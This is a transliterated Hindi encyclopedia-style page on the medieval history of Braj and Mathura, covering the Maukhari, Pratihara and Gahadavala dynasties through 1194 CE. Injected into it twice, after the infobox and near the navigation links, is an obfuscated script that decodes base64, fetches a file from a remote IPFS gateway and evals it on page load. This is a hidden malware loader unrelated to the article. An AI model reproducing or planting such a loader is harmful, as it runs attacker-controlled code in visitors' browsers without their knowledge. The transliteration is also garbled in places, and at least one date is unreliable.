ब्रज का मध्य काल

braj vishay soochi

braj    parichay    paribhasha    bhoogol    vistar    namakaran aur abhipray    pauranik itihas    braj ka adim kal    braj ka krishna kal    braj ka maury kal    braj ka shuang kal    braj ka shak kushan kal    braj ka gupt kal    braj ka madhy kal    braj ka uttar madhy kal    braj ka mugal kal    braj ka jat maratha kal    braj ka svatantrata sangram 1857    braj ka svatantrata sangram 1920-1947    sanskriti    jivan shaili    prachin sangit    moorti kala mathura    pramukh parv evan tyohar    mukhy darshaniy sthal    chaurasi kos yatra    brajabhasha    holi    veshabhoosha, bhojan v mithaee

braj ka madhy kal
braj ke vibhinn drishy|200px|center
vivaran	bhagavat mean ‘braj’ kshetr vishesh ko iangit karate hue hi prayukt hua hai. vahaan ise ek chhote gram ki sanjna di gee hai. usamean ‘pur’ se chhota ‘gram’ aur usase bhi chhoti basti ko ‘braj’ kaha gaya hai. 16vian shatabdi mean ‘braj’ pradesh ke arth mean hokar ‘brajamandal’ ho gaya aur tab usaka akar 84 kos ka mana jane laga tha.
braj kshetr	aj jise ham braj kshetr manate haian usaki dishaaian, uttar disha mean palaval (hariyana), dakshin mean gvaliyar (madhy pradesh), pashchim mean bharatapur (rajasthan) aur poorv mean eta (uttar pradesh) ko chhooti haian.
braj ke keandr	mathura evan vrindavan
braj ke van	kotavan, kamyavan, kumudavan, kokilavan, khadiravan, talavan, bahulavan, biharavan, belavan, bhadravan, bhaandiravan, madhuvan, mahavan, lauhajanghavan evan vrindavan
bhasha	hiandi aur brajabhasha
pramukh parv evan tyohar	holi, krishna janmashtami, yam dvitiya, guru poornima, radhashtami, govardhan pooja, gopashtami, nandotsav evan kans mela
pramukh darshaniy sthal	krishna janmabhoomi, dvarikadhish mandir, rajakiy sangrahalay, baanke bihari mandir, rang nath ji mandir, govind dev mandir, isk aaun mandir, madan mohan mandir, danaghati mandir, manasi ganga, kusum sarovar, jayagurudev mandir, radha rani mandir, nand ji mandir, vishram ghat , daooji mandir
sanbandhit lekh	braj ka pauranik itihas, braj chaurasi kos ki yatra, moorti kala mathura
any janakari	braj ke van–upavan, kunj–nikunj, shri yamuna v giriraj atyant mohak haian. pakshiyoan ka madhur svar ekaanki sthali ko madak evan manohar banata hai. moroan ki bahutayat tatha unaki pioo–pioo ki avaz se vatavaran gunjayaman rahata hai.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

lagabhag 550 ee. se 1194 ee. tak

gupt samrajy ke patan ke bad lagabhag adhi shatabdi tak uttar bharat ki rajanitik sthiti asthir rahi. chhote-b de raja apani shakti badhane lage. samrath harshavardhan ke shasan mean ane tak koee aisi shaktishali kendriy satta n thi, jo chhote-chhote rajyoan ko susangathit karake shasit karati. chhathi shati ke madhy mean maukhari, vardhan, gurjar, maitrak, kalachuri adi rajavanshoan ka abhyuday prarambh hua. mathura pradesh par anek vanshoan ka rajy madhy kal mean raha. yahaan anek chhote-b de rajy sthapit ho gaye the aur unake shasak apani shakti badhane ke prayas mean apas mean l d rahe the. us samay desh mean do rajavanshoan ka uday hua, maukhari rajavansh aur vardhan rajavansh.

maukhari vansh ka shasan

gupt-kal ke pahale bhi gaya aur kota (rajasthan) ke asapas sanjnan mean ata hai. maukhariyoan ka uday magadh se hua tha, ve gupt samratoan ke adhinasth samant the. guptoan ki apasi kalah aur kamazori ka labh utha kar unhoanne apana rajy sthapit kiya aur kannauj ko apani rajadhani banaya. maukhari vansh ka pratham raja eeshanavarman tha,vah b da shaktishali raja tha. gupt samrajy ke patan ke bad lagabhag 554 ee. mean maukhari shasak eeshanavarman ne 'maharajadhiraj' upadhi dharan ki. eeshanavarman ke samay mean maukhari rajy ki simaean poorv mean magadh tak, dakshin mean madhy praant aur aandhr tak, pashchim mean malava tatha uttar-pashchim mean thaneshvar rajy tak thi. usake rajy ki do rajadhaniyaan thian:-

1. kannauj
2. mathura

eeshanavarman ke shasan ke bad jin shasakoan ne kannauj tatha mathura pradesh par shasan kiya ve kramashah sharvavarman, avantivarman, tatha grahavarman namak maukhari shasak the. in shasakoan ki muthabhe dean gupt rajaoan ke sath kafi samay tak hoti rahian. banabhatt ke harshacharit se jnat hota hai ki chhathi shati ke aant mean aur satavian ke prarambh mean maukhari shasak shakti shali the. eeshanavarman ya usake uttaradhikari ke kal mean hoonoan ne bharat par akraman kiya parantu unhean maukhariyoan shasakoan ne parajit kar pashchim ki or bhaga diya. grahavarman ka vivah, 606 ee. ke lagabhag thaneshvar ke raja prabhakaravardhan ki putri rajyashri se hua. is vaivahik sanbandh se uttar bharat ke do prasiddh rajavansh--vardhan tatha maukhari ek sootr mean ju d gaye. lekin prabhakaravardhan ki mrityu ke pashchath malav ke raja devagupt ne grahavarman ki hatya kar di aur rajyashri ko kannauj mean karagar mean dal diya. rajyashri ke b de bhaee rajyavardhan ne malava par akraman kar devagupt ko hara diya. panratu is jit ke bad hi gau d ke shasak shashaank ne rajyavardhan ko dhokhe se mar dala. puhshyabhooti ne ee. chhathi shati ke prarambh mean thaneshvar mean ek naye rajavansh ki nianv dali. is vansh ka paanchava aur shaktishali raja prabhakaravardhan (lagabhag 583 - 605 ee.) hua. usaki upadhi 'param bhattarak maharajadhiraj' thi. upadhi se jnat hota hai ki prabhakaravardhan ne apana svatantr rajy sthapit kar liya tha. banabhatt dvara rachit 'harshacharit' se pata chalata hai ki is shasak ne siandh, gujarat aur malava par adhikar kar liya tha. gaandhar pradesh tak ke shasak prabhakaravardhan se darate the tatha usane hoonoan ko bhi parajit kiya tha, jo dobara akraman karane lage the. harshacharit se jnat hota hai ki prabhakaravardhan ne apani mrityu se pahale rajyavardhan ko uttar disha mean hoonoan ka daman karane ke lie bheja tha. sanbhavat: us samay hoonoan ka adhikar uttari panjab aur kashmir ke kuchh bhag par hi tha. shaktishali prabhakaravardhan ka shasan pashchim mean vyas nadi se lekar poorv mean yamuna tak tha. mathura rajy ki poorvi sima par tha. raja prabhakaravardhan ke do putr rajyavardhan, harshavardhan aur ek putri rajyashri thi. rajyashri ka vivah kannauj ke maukharivansh ke shasak grahavarman se hua tha. prabhakaravardhan ke nidhan ke pashchath hi malav ke shasak ne grahavarman ki hatya kar di thi. rajyavardhan ki mrityu ke pashchath harshavardhan thaneshvar rajy ka shasak hua.

gurjar-pratihar vansh

yashovarman ke pashchath kuchh samay tak ke mathura pradesh ke itihas ki pusht janakari nahian milati. athavian shati ke ant mean uttar bharat mean gurjar pratiharoan ki shakti bahut badh gee thi. gurjar log pahale rajasthan mean jodhapur ke as-pas nivas karate the. is vajah se unake karan se hi lagabhag chhathi shati ke madhy se rajasthan ka adhikaansh bhag 'gurjaranna-bhoomi' ke nam se jana tha. aj tak yah vivad ka vishay hai ki gurjar bharat ke hi mool nivasi the ya hoonoan adi ki hi bhaanti ve kahian bahar se bharat aye the. bharat mean sabase pahale gurjar raja ka nam harichandr milata hai, jise ved-shastroan ka janane vala brahman kaha gaya hai. usaki do patniyaan thi- ek brahman stri se pratihar brahmanoan ki utpatti aur bhadra nam ki ek kshatriy patni se pratihar-kshatriy vansh hua, pratihar-kshatriy vansh ke putroan ne shasan ka kary bhar sanbhala. gupt-samrajy ke samapt hone ke bad harichandr ne apane kshatriy-putroan ki madad se jodhapur ke uttar-poorv mean apane rajy ko vistrit kiya. inaka shasan-kal sambhavatah 550 ee. se 640 ee. tak raha. unake bad pratihar-kshatriy vansh ke das rajaoan ne lagabhag do shatabdiyoan tak rajasthan tatha malava ke ek b de bhag par shasan kiya. in shasakoan ne pashchim ki or se badhate hue arab logoan ki shakti ko rokane ka mahattvapoorn bhoomika nibhaee thi.

arab logoan ke akraman

satavian shati mean araboan ne apani shakti ko bahut sangathit kar liya tha. siriya aur misr par vijay ke bad araboan ne uttari aphrika, spen aur eeran par bhi apana adhikar kar liya. athavian shati ke madhy tak arab samrajy pashchim mean phraans se lekar poorv mean afaganistan tak phail gaya tha. 712 ee. mean unhoannean siandh par hamala kiya. siandh ka raja dahir ne bahut virata se yuddh kiya aur anek bar araboan ko haraya. lekin yuddh mean vah mara gaya aur siandh par araboan ka adhikar ho gaya. isake bad arab panjab ke mulatan tak a gaye the. unhoanne pashchim tatha dakshin bharat ko bhi adhikar mean lene ki bahut koshish ki lekin pratiharoan evan rashtrakootoan ne unaki sabhi koshishoan ko nakam kar diya. pratihar shasak vatsaraj ke putr nagabhat ne araboan ko harakar unaki badhati huee shakti ko bahut dhakka lagaya.

kannauj ke pratihar shasak

navian shati ke shuroo mean kannauj par pratihar shasakoan ka adhikar ho gaya tha. vatsaraj ke putr nagabhat ne sanbhavatah 810 ee. mean kannauj par vijay prapt kar apane adhikar mean liya. us samay dakshin mean rashtrakootoan tatha poorv mean pal-shasakoan bahut shaktishali the. kannauj par adhikar karane ke lie ye donoan rajavansh lage hue the. pal-vansh ke shasak dharmapal (780-815 ee.) ne bangal se lekar poorvi panjab tak apane rajy ko vistrit kar liya aur ayudhavanshi raja chakrayudh ko kannauj ka shasak banaya tha. nagabhat ne dharmapal ko harakar chakrayudh se kanauj ka rajy chhin liya aur siandh praant se lekar kaliang tak ke vishal bhoobhag par nagabhat ka adhikar ho gaya. mathura pradesh is samay se dasavian shati ke aant tak gurjar-pratihar samrajy ke aantargat raha.

nagabhat tatha mihirabhoj

isake kuchh samay bad hi nagabhat ko ek adhik shaktishali rashtrakoot raja goviand tritiy se yuddh karana p da. nagabhat usaka samana n kar saka aur rajy chho d kar bhag gaya. goviand tritiy ki senaean uttar mean himalay tak pahanch gee kiantu maharashtr mean arajakata phail jane ke karan goviand ko dakshin lautana p da. nagabhat ke bad usaka putr ramabhadr lagabhag 833 ee. mean kannauj samrajy ka raja hua. usaka beta mihirabhojb da pratapi v shaktishali raja hua. usake bhi paloan aur rashtrakootoan ke sath yuddh chalate rahe. pahale to bhoj ko kee asaphalataoan mili, parantu bad mean usane bharat ki donoan pramukh shaktiyoan ko haraya. usake adhikar mean panjab, uttar pradesh tatha malava bhi a gaye. itane vishal samrajy ko vyavasthit karane ka shrey mihirabhoj ko hi jata hai.

mahendrapal (lagabhag 885-910 ee.)

mihirabhoj ka putr mahendrapal apane pita ke hi saman tha. usane apane shasan mean uttari bangal ko bhi pratihar samrajy mean mila liya tha. himalay se lekar viandhyachal tak aur bangal ki kha di se lekar arab sagar tak pratihar samrajy ka shasan ho gaya tha. mahendrapal ke shasan kal ke kee lekh kathiyava d se lekar bangal tak mean prapt hue hai. in lekhoan mean mahendrapal ki anek upadhiyaan milati haian. 'mahendraputr', 'nirbhayaraj', 'niryabhanarendr' adi upadhiyoan se mahendrapal ko vibhooshit kiya gaya tha.

mahipal (912 - 944)

mahendrapal ke doosare bete ka nam mahipal tha aur vah apane b de bhaee bhoj dvitiy ke bad shasan ka adhikari hua. sanskrit sahity ke vidvanh rajashekhar isi ke shasan kal mean hue, jinhoanne mahipal ko 'aryavart ka maharajadhiraj' varnit kiya hai aur usaki anek vijayoan ka varnan kiya hai. al-masoodi namak muslim yatri bagadad se lagabhag 915 ee. mean bharat aya. pratihar samrajy ka varnan karate hue is yatri ne likha hai, ki usaki dakshin sima rashtrakoot rajy se milati thi aur siandh ka ek bhag tatha panjab usamean sammilit the. pratihar samrat ke pas gho de aur ooant b di sankhya mean the. rajy ke charoan konoan mean sat lakh se lekar nau lakh tak fauj rahati thi. uttar mean musalamanoan ki shakti ko tatha dakshin mean rashtrakoot shakti ko badhane se rokane ke lie is sena ko rakha gaya tha.

rashtrakoot-akraman

916 ee. ke lagabhag dakshin se rashtrakootoan ne pun: ek b da akraman kiya. is samay rashtrakoot- shasak indr tritiy ka shasan tha. usane ek b di fauj lekar uttar ki or chadhaee ki aur usaki sena ne bahut nagaroan ko barbad kiya, jisamean kannauj pramukh tha. indr ne mahipal ko harane ke bad prayag tak usaka pichha kiya. kintu indr ko usi samay dakshin lautana p da. indr ke vapas jane par mahipal ne phir se apane rajy ko sangathit kiya kintu rashtrakootoan ke hamale ke bad pratihar rajy sanmbhal nahian paya aur usaka gaurav phir se laut kar nahian a saka. lagabhag 940 ee. mean rashtrakootoan ne uttar mean badh kar pratihar samrajy ka ek b da bhag apane rajy mean mila liya. is prakar pratihar shasakoan ka patan ho gaya.

paravarti pratihar shasak (lagabhag 944 - 1035 ee.)

mahipal ke bad kramashah maheanndrapal, devapal, vinayakapal, vijayapal, rajyapal, trilochanapal tatha yashapal namak pratihar shasakoan ne rajy kiya. inake samay mean kee pradesh svatantr ho gaye. mahakoshal mean kalachuri, budeanlakhand mean chandel, malava mean paramar, saurashtr mean chaluky, poorvi rajasthan mean chahabhan, meva d mean guhil tatha hariyana mean tomar adi anek rajavanshoan ne uttar bharat mean svayan ko svatantr ghoshit kar diya. in sabhi rajaoan mean kuchh samay tak shasan ke lie khianchatan hoti rahi.

pratihar-shasan mean mathura ki dasha

navian shati se lekar dasavian shatian ke aant tak lagabhag 200 varshoan tak mathura pradesh gurjar pratihar-shasan mean raha. is vansh mean mihirabhoj, maheanndrapal tatha mahipal b de pratapi shasak hue. unake samay mean lagabhag poora uttar bharat ek hi shasan ke antargat ho gaya tha. adhikatar pratihari shasak vaishnav mat ya shaiv mat ko manate the. us samay ke lekhoan mean in rajaoan ko vishnu, shiv tatha bhagavati ka bhakt bataya gaya hai. nagabhat dvitiy, ramabhadr tatha mahipal soory-bhakt the. pratiharoan ke shasan-kal mean mathura mean hindoo pauranik dharm ki bahut unnati huee. mathura mean upalabdh tatkalin kalakritiyoan se isaki pushti hoti hai. navi shati ke prarambh ka ek lekh hal hi mean shrikrishna janmasthan se mila hai. isase rashtrakootoan ke uttar bharat ane tatha janm-sthan par dharmik kary karane ka jnan hota hai. sanbhavat: rashtrakootoan ne apane hamaloan mean dharmik kendr mathura ko koee hani nahian pahuanchaee. navian aur dasavian shati mean kee bar bharat ki pramukh shaktiyoan mean prabhutv ke lie sangharsh hue. in sabhi ka mukhy uddeshy bharat ki rajadhani kannauj ko jitana tha. mathura ko in yuddhoan se koee vishesh hani huee ho isaka koee praman nahian milata.

gahadaval vansh

11 shatabdi mean uttar-bharat mean gahadaval vansh ka rajy sthapit hua. is vansh ke pratham maharaja chandradev the. isane apane shasan ka bahut vistar kiya. kannauj se lekar banaras tak maharaja chandradev ka rajy tha. panjab ke turushkoan se bhi isane yuddh kiya.

govindachanndr (lagabhag 1112 - 1155 ee.)

chandradev ke bad kuchh samay tak usaka putr madanachandr shasan ka adhikari raha. usake bad usaka putr govidachandr shasak hua jo bahut yashasvi hua. isake samay ke lagabhag chalis abhilekh mile hai. goviandachandr ne apane rajy ka vistar kiya. sanpoorn uttar pradesh aur magadh ka ek b da bhag usake adhikar mean a gaya. poorv mean pal tatha sen rajaoan se goviandachandr ka yuddh hua. chandeloan ko harakar usane unase poorvi malava chhin liya. dakshin koshal ke kalachuri rajaoan se bhi usaka yuddh hua. rashtrakoot, chaluky, chol samrajy tatha kashmir ke rajaoan ke sath govidachandr ki rajanitik maitri rahi. musalamanoan ko age badhane se rokane mean bhi goviandachandr saphal bhoomika rahi. goviandachandr ne uttar bharat mean ek vishal aur shaktishali samrajy ki sthapana ki. usake shasan-kal mean 'madhy desh' mean shaanti rahi. kannauj nagar ke gaurav ko govidachandr ne ek bar phir gauravanvit kiya. goviandachandr vaishnav shasak tha; isane kashi ke adikeshav ghat mean snan kar brahmanoan ko dakshina di. govindachanndr ki rani kumaradevi ne saranath mean ek bauddh vihar ko nirmit karaya tha. goviandachandr ne bhi shravasti mean bauddh bhikshuoan ko chhah gaanv dan mean de diye the. is batoan se govindachanndr ki dharmik sahishnuta aur udarata ka praman milata hai. tamrapatroan mean govindachandr ki 'maharajadhiraj' aur 'vividh vidya-vichar vachaspati' namak upadhiyaan milati hai, jisase pramanit hota hai ki govindachanndr vidvanh tha. isake ek mantri lakshmidhar ne 'krityakalpataroo' namak granth ki rachana ki, jisamean rajaniti tatha dharm ke sambandh mean anek batoan ka vivaran hai. goviandachandr ke sone aur taanbe ke sikke mathura se lekar banaras tak milate haian. in par ek taraph 'shrimadh goviandachandradev' likha hai aur doosari or baithi huee lakshmi ji ki moorti hai. ye sikke chavanni se kuchh b de hai. taanbe ke sikke kam mile haian.

vijayachandr ya vijayapal (1155 -70)

goviandachandr ke pashchath usaka beta vijayachandr shasak hua. vijayachandr vaishnav tha. isane apane rajy mean kee vishnu-mandiroan ko nirmit karaya. mathura mean shrikrishna janmasthan par san0 1207 (1150 ee.) mean vijayachandr ne ek bhavy mandir ko nirmit karaya tha. sanbhavat: us samay vijayachandr yuvaraj tha aur apane pita ki or se mathura pradesh ka shasak niyukt tha. abhilekh mean raja ka nam 'vijayapaladev' hai. 'prithvirajaraso' mean bhi vijayachandr ka nam 'vijayapal' hi milata hai. raso ke anusar vijayapal ne katak ke somavanshi raja aur dilli, patan, karnatak adi rajyoan se yuddh kiya aur vijayi hua. isane apani jivanakal mean hi apane putr jayachandr ko rajakaj sauanp diya tha.

jayachandr (1170 - 94 ee.)

'raso' ke anusar jayachandr ke raja anangapal ki putri se utpann hua yah vijayachandr ka putr tha. jayachandr dvara rachit 'ranbhamanjari natika' mean varnit hai ki isane chandel raja madanavarmadev ko haraya tha. is natika aur 'raso' se pata chalata hai ki jayachandr ne shahabuddin gori ko kee bar parajit kiya. muslim lekhakoan ke vritaant se pata chalata hai ki jayachandr ke shasan kal mean gahadaval samrajy bahut vishal ho gaya tha. ibnasir namak lekhak ne to usake rajy ki sima chin se lekar malava tak likhi hai. poorv mean bangal ke sen rajaoan se jayachandr ka yuddh lambe samay tak chala. jayachandr ke shasan-kal mean banaras aur kannauj ki bahut unnati huee. kannauj, asani (jila fatehapur) tatha banaras mean jayachandr ne mazaboot qile banavaye. isaki sena bahut vishal thi. goviandachandr ki tarah jayachandr bhi vidvanoan ka ashrayadata tha. prasiddh 'naishadhamahakavy' ke rachayita shriharsh jayachandr ki rajasabha mean the. unhoannean kanyakubj samrat ke dvara samman-prapti ka vivaran apane mahakaby ke ant mean kiya hai. jayachandr ke dvara rajasooy yajn karane ke bhi vivaran milate haian.

musalamanoan dvara uttar bharat ki vijay

shaktishali hone par bhi tatkalin pramukh shaktiyoan mean ekata n thi. gahadaval, chahaman, chandeh, chaluky tatha sen ek-doosare ke shatru the. jayachandr ne sen vansh ke sath lanbi l daee ki apani shakti ko kamazor kar liya. chahaman shasak prithviraj se usaki shatruta thi. idhar chandeloan aur chahamanoan ke bich anaban thi. 1120 ee. mean jab muhammad gori bharat-vijay ka sapana liye panjab mean badhata a raha tha ,prithviraj ne chandel- shasak paramardidev par chadhaee kar usake rajy ko nasht kar diya. phir usane chalukyaraj bhim se bhi yuddh kiya. uttar bharat mean shasakoan ki is apasi dushmani ka musalamanoan ne fayada uthaya. shahabuddin muhammad gori panjab se badh kar gujarat gaya. usane prithviraj ke rajy par bhi akraman kiya. 1191 ee. mean thaneshvar ke pas tarain ke maidan mean prithviraj aur gori ki senaoan ke bich yuddh hua. gori ghayal ho gaya aur har kar bhag gaya. doosare varsh vah phir b di sena lekar aya. is bar phir ghamasan yuddh hua, is yuddh mean prithviraj har gaya aur mara gaya. ajamer aur dilli par musalamanoan ka adhikar ho gaya. qutubuddin aibaq ko bharat ka prashasak niyukt kiya gaya. 1194 ee. mean qutubuddin ki kaman mean musalamanoan ne kannauj par chadhaee ki. chandavar (zi0 itava) ke yuddh mean jayachandr ne bahut bahaduri se musalamanoan se yuddh kiya. muslim lekhakoan ke lekhoan se pata chalata hai ki chandavar ka yuddh bhanyakar tha. qutubuddin ki fauj mean pachas hazar sainik the. jayachandr ne svany apani sena ka sanchalan kiya vah har gaya aur mara gaya. is samay kannauj se lekar banaras tak musalamanoan ka adhikar ho gaya. is prakar 1194 ee. mean kannauj samrajy ka patan hua aur mathura pradesh par bhi musalamanoan ka shasan ho gaya.

left|30px|link=braj ka gupt kal|pichhe jaean

braj ka gupt kal

braj ka madhy kal

braj ka uttar madhy kal

right|30px|link=braj ka uttar madhy kal|age jaean

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

vithika- madhy kal moortikala

• chitr:Seated-Jain-Tirthankara-Jain-Museum-Mathura-30.jpg

  asanasth jain tirthankar
  Seated Jaina Tirthankara
  rajakiy jain sangrahalay, mathura

• chitr:Four-Armed-Goddess-Mathura-Museum-37.jpg

  chartubhuji devi
  Four Armed Goddess
  rajakiy sangrahalay, mathura

• chitr:Life-Size-Figure-Of-Hanuman-Mathura-Museum-84.jpg

  vishal kay hanuman
  Life Size Figure Of Hanuman
  rajakiy sangrahalay, mathura

• chitr:Durga-Mathura-Museum-86.jpg

  durga
  Durga
  rajakiy sangrahalay, mathura

• chitr:Decorated-Door-Jamb-Mathura-Museum-85.jpg

  alankrit dvar stambh
  Decorated Door Jamb
  rajakiy sangrahalay, mathura

• chitr:Jain-Tirthankara-Jain-Museum-Mathura-15.jpg

  jain tirthankar
  Jaina Tirthankara
  rajakiy jain sangrahalay, mathura

• chitr:23rd-Tirthankara-Parsvanatha-Jain-Museum-Mathura-9.jpg

  23 ve tirthankar parshvanath
  23rd Tirthankara Parsvanatha
  rajakiy jain sangrahalay, mathura

• chitr:Seated-Jain-Tirthankara-Jain-Museum-Mathura-11.jpg

  asanasth jain tirthankar
  Seated Jaina Tirthankara
  rajakiy jain sangrahalay, mathura

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh